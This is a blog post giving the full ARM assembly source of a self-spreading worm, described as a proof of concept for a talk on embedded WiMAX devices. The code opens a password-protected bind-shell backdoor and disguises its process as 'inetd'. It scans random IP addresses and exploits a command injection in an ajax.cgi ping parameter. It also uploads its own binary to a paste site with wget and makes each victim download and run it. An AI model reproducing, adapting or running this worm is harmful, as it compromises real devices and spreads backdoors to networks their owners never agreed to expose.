Wimax worm POC
This is the non-obfuscated code for the live demonstration worm for a talk I plan to do on the vulnerability of embedded ARM devices. This is a prime example of industry laziness. Have fun :D I am in no way responsible for any use, or damage caused by the use of this code. If you are somehow able to modify this to do harm of any kind, you have modified it enough to be held responsible for your actions.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ THE SCOTCH-WARE LICENSE (Revision 0): @ aaronryool@gmail.com wrote this file. As long as you retain this notice you @ can do whatever you want with this stuff. If we meet some day, and you think @ this stuff is worth it, you can buy me a shot of scotch in return @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .section .text .global _start .code 32 @ encrypt everything in layers spawn_backdoor: ldr r7, =2 @ fork the backdoor process sub r1, r1, r1 @ we dont have a process description, just inherit svc 0 cmp r0, #-1 @ on failure, return beq parent cmp r0, #0 @ if this is the child, fork beq fork parent: bx lr @ continue to the main loop fork: @ socket ldr r7, =281 ldr r0, =2 ldr r1, =1 sub r2, r2, r2 svc 0 cmp r0, #-1 beq fork @ try again on failure cpy r6, r0 @ bind ldr r7, =282 ldr r1, =backdooraddr ldr r2, =16 svc 0 cmp r0, #-1 beq fork @ try again on failure @ listen ldr r7, =284 cpy r0, r6 ldr r1, =5 svc 0 cmp r0, #-1 beq fork @ try again on failure ldr r0, =sock str r6, [r0, #0] fork_loop: @ accept ldr r7, =285 cpy r0, r6 ldr r1, =0 ldr r2, =0 svc 0 cmp r0, #-1 beq backdoor_cleanup @ try again on failure cpy r6, r0 ldr r0, =buffer sub r1, r1, r1 sub r2, r2, r2 sub r3, r3, r3 bl forkpty cmp r0, #-1 beq backdoor_cleanup cmp r0, #0 bne backdoor_cleanup ldr r1, =password @ load password buffer ldr r2, =4 bl s_read @ read that shit in cmp r0, #-1 beq backdoor_cleanup @ start over on socket failure ldr r2, =name @ load name, aka the password ldr r9, [r1, #0] @ load name value into r9 ldr r10, [r2, #0] @ load password value into r10 cmp r9, r10 @ do they match? bne backdoor_cleanup @ if not, cleanup and close socket sub r10, r10, r10 @ zero out a counter duploop: @ dup2 ldr r7, =63 @ duplicate all standard out/in cpy r1, r10 svc 0 add r10, r10, #1 cmp r10, #3 bne duploop ldr r7, =11 @ launch our friend mr. sh using execve ldr r0, =shellpath @ the path to the shell executable ldr r1, =shellargv @ shell argv pointer ldr r2, =shellenv @ shell env pointer svc 0 backdoor_cleanup: bl close @ close socket ldr r0, =sock ldr r6, [r0, #0] bl fork_loop @ restart _start: ldr r0, [sp, #4] ldr r1, =spoof @ name to spoof bl strcpy @ rename this bitch ldr r0, =13 @ SIGPIPE ldr r1, =1 @ SIG_IGN bl signal bl spawn_backdoor @ spawn backdoor main_loop: ldr r10, =0x80808081 @ precalculated division multiplier for 255 ldr r11, =7 @ precalculated shift for divisor bl random @ call random number generator ldr r1, =[ip+3] @ load the last byte of the ip address in socket struct strb r0, [r1, #0] @ write our random number there ldr r10, =sockaddr @ load the address of the struct bl connect @ connect to the randomly generated host cmp r0, #-1 beq main_loop @ try again on failure @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ldr r1, =check_payload @ load the vulnerability test payload ldr r2, =126 @ its 126 bytes in length bl s_write @ send it out cmp r0, #-1 beq cleanup @ on socket failure, go to cleanup bl read_u2response @ swallow http header bl s_read @ s_read in nl ldr r2, =4 @ s_read in 4 bytes, we are checking for the sring root bl s_read cmp r0, #-1 beq cleanup @ on socket fail, cleanup ldr r8, =0x746f6f72 @ r8 = 'root' ldr r10, [r1, #0] @ swap whats in the buffer with whats in r10 cmp r8, r10 @ are we root? bne cleanup @ if not, start over bl close @ close the socket @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ldr r10, =sockaddr @ load remote socket struct again bl connect @ connect back cmp r0, #-1 beq cleanup @ restart on failure ldr r1, =check_payload @ load the infection test payload ldr r2, =71 @ its 71 bytes in length bl s_write @ send it out cmp r0, #-1 beq cleanup @ on socket failure, go to cleanup ldr r1, =check_infected @ load the infection test payload ldr r2, =77 @ its 77 bytes in length bl s_write @ send it out cmp r0, #-1 beq cleanup @ on socket failure, go to cleanup ldr r1, =check_payload+77 @ load the closing out parts from out check payload ldr r2, =49 @ 49 bytes of http closing statement bl s_write @ send this bitch out cmp r0, #-1 beq cleanup @ on socket fail, start over bl read_u2response @ swallow http header bl s_read @ s_read in nl ldr r2, =4 @ s_read in 4 bytes, we are checking for the sring woot bl s_read cmp r0, #-1 beq cleanup @ on socket fail, cleanup ldr r8, =0x746f6f77 @ r8 = 'woot' ldr r10, [r1, #0] @ swap whats in the buffer with whats in r10 cmp r8, r10 @ does that shit exist? beq cleanup @ if so, start over bl close @ close the socket @!!!!!!!!MAGIC!!!!!!!!!!! magic: ldr r10, =localsock @ load a socket struct to the local box bl connect @ connect to ourselves cmp r0, #-1 beq magic @ on failure try again ldr r1, =check_payload @ reuse the first 71 bytes of check_payload ldr r2, =71 bl s_write @ send it out cmp r0, #-1 beq magic @ on socket fail, start the process over ldr r1, =store_wormness @ load our third party store payload ldr r2, =100 @ its 100 bytes long bl s_write @ send it out cmp r0, #-1 beq magic @ on fail try everything again ldr r1, =check_payload+77 @ load the closing out parts from out check payload ldr r2, =49 @ 49 bytes of http closing statement bl s_write @ send this bitch out cmp r0, #-1 beq magic @ on socket fail, start over bl read_u2response @ read in the http response header ldr r1, =buffer @ load reuseable buffer address ldr r2, =23 @ read 23 bytes: newline + sprunge address bl s_read @ read it in cmp r0, #-1 beq magic @ on sock fail, restart bl close @ close out the socket super_magic: ldr r10, =sockaddr @ load remote socket struct again bl connect @ connect back cmp r0, #-1 beq super_magic @ restart on failure ldr r1, =check_payload @ load intro from check payload again ldr r2, =71 bl s_write @ send it cmp r0, #-1 beq super_magic @ on failure, try again ldr r1, =send_wormness @ load the send payload ldr r2, =7 @ first 7 bytes bl s_write @ send it out cmp r0, #-1 beq super_magic @ on socket fail, retry ldr r1, =[buffer+1] @ ditch the leading new line, send the url ldr r2, =22 @ it is guarenteed to be 22 bytes long bl s_write @ send it cmp r0, #-1 beq super_magic @ on failure, try again ldr r1, =[send_wormness+7] @ load the beginning of the rest of the send payload ldr r2, =81 @ 81 bytes of sexy bl s_write @ send it cmp r0, #-1 beq super_magic @ restart this madness on failure ldr r1, =check_payload+77 @ load the http closing statement ldr r2, =49 @ blah blah size blah blah bl s_write @ send it cmp r0, #-1 beq super_magic @ check for socket fail, you know retry bl close @ close the socket @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ cleanup: bl close b main_loop debug: push {lr, r6} ldr r6, =1 bl s_write pop {pc, r6} @ exit(r0) exit: ldr r7, =1 svc 0 read_u2response: push {lr} sub r9, r9, r9 @ zero out counter ldr r1, =buffer @ store data in buffer ldr r2, =1 @ s_read 1 byte read_start: bl s_read @ s_read in byte cmp r0, #-1 bxeq lr ldrb r10, [r1, #0] @ swap byte from buffer into r10 cmp r10, #0x0d @ is this a carriage return? beq read_match @ if so look for another b read_start @ if not s_read in another byte read_match: bl s_read @ s_read in the newline cmp r0, #-1 bxeq lr bl s_read @ s_read in the next character cmp r0, #-1 bxeq lr ldrb r10, [r1, #0] @ swap byte from buffer into r10 cmp r10, #0x0d @ is this a carriage return? bne read_start pop {pc} random: @ time seed ldr r7, =43 sub r0, r0, r0 svc 0 @ Implementation of George Marsaglia's xorshift PRNG -> http://www.jstatsoft.org/v11/i04/paper eor r0, r0, lsl #13 eor r0, r0, lsr #9 eor r0, r0, lsr #7 @ r0 = r0 % r10 cpy r1, r10 @ r1 -> magic_number umull r1, r2, r1, r0 @ r1 -> Lower32Bits(r1*r0). r2 ← Upper32Bits(r1*r0) mov r0, r1, LSR r11 @ r0 -> r1 >> r11 add r0, r0, #1 bx lr s_write: ldr r7, =4 cpy r0, r6 svc 0 bx lr s_read: ldr r7, =3 cpy r0, r6 svc 0 bx lr close: ldr r7, =6 cpy r0, r6 svc 0 bx lr connect: @ connect to a victim @ socket ldr r7, =281 ldr r0, =2 ldr r1, =1 sub r2, r2, r2 svc 0 @connect cpy r6, r0 ldr r7, =283 cpy r1, r10 ldr r2, =16 svc 0 bx lr .section .data sockaddr: .short 0x2 @ AF_INET .short 0x5000 @ port ip: .byte 10,0,0,2 @ IP localsock: .short 0x2 @ AF_INET .short 0x5000 @ port .byte 127,0,0,1 @ IP backdooraddr: .short 0x2 @ AF_INET .short 0x9A02 @ port .space 4 @ INADDR_ANY check_payload: @ 71 | 77 -> 49 .asciz "GET /ajax.cgi?action=tag_ipPing&pip=127.0.0.1+%3E%2Fdev%2Fnull%20%26%26whoami HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n" check_infected: .asciz "if%20%5B%20-e%208%3D%3DD%20%5D%3Bthen%20echo%20woot%3Belse%20echo%20booo%3Bfi" store_wormness: @ 100 inject this on local box .asciz "wget%20-q%20-O%20-%20--post-data%3D%22sprunge%3D%24(cat%20.%2F8%3D%3DD)%22%20http%3A%2F%2Fsprunge.us" send_wormness: @ 7 -> 81 .asciz "wget%20%20-O%208%3D%3DD%202%3E%2Fdev%2Fnull%26%26(.%2F8%3D%3DD%20%26%3E%2Fdev%2Fnull%26)" buffer: .space 23 name: .asciz "8==D" spoof: .asciz "inetd" password: .space 4 shellpath: .asciz "/bin/sh" arg0: .asciz "/sbin/lighttpd" arg1: .asciz "-i" shellargv: .word arg0, arg1, 0 env0: .asciz "TERM=xterm" env1: .asciz "PS1=8==D " shellenv: .word env0, env1, 0 sock: .space 4
Comments
Post a Comment